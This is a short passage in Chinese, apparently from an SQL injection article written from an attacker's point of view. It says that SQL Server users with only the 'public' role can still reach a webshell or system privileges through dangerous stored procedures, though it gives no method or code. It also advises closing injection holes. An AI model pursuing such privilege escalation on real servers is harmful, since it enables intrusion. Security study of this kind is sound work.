固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是
碰到Public的权限,那就不好使用拉。
不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相
反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。
最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要
是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色
拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除
去,看来M$对我们这些"坏人"还是很厚爱的哦)
<br />
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